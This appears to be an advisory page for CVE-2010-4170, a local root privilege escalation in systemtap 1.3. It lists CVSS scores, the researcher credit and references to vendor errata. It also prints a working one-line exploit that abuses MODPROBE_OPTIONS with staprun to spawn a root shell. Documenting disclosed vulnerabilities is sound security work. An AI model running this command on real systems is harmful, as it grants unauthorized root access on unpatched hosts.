systemtap 1.3 Local Root Privilege Escalation Vulnerability

2010-12-08 / 2010-12-09
Credit: Tavis Ormandy
Risk: High
Local: Yes
Remote: No
CVE: CVE-2010-4170
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

CVE-2010-4170 printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever RHEL Advisory: https://rhn.redhat.com/errata/RHSA-2010-0894.html

References:

http://sources.redhat.com/git/gitweb.cgi?p=systemtap.git;a=commit;h=b7565b41228bea196cefa3a7d43ab67f8f9152e2
http://xforce.iss.net/xforce/xfdb/63344
http://www.securitytracker.com/id?1024754
http://www.securityfocus.com/bid/44914
http://www.redhat.com/support/errata/RHSA-2010-0895.html
http://www.redhat.com/support/errata/RHSA-2010-0894.html
http://www.exploit-db.com/exploits/15620
http://sources.redhat.com/ml/systemtap/2010-q4/msg00230.html
http://secunia.com/advisories/42318
http://secunia.com/advisories/42306
http://secunia.com/advisories/42263
http://secunia.com/advisories/42256
http://lists.fedoraproject.org/pipermail/package-announce/2010-November/051127.html
http://lists.fedoraproject.org/pipermail/package-announce/2010-November/051122.html
http://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html


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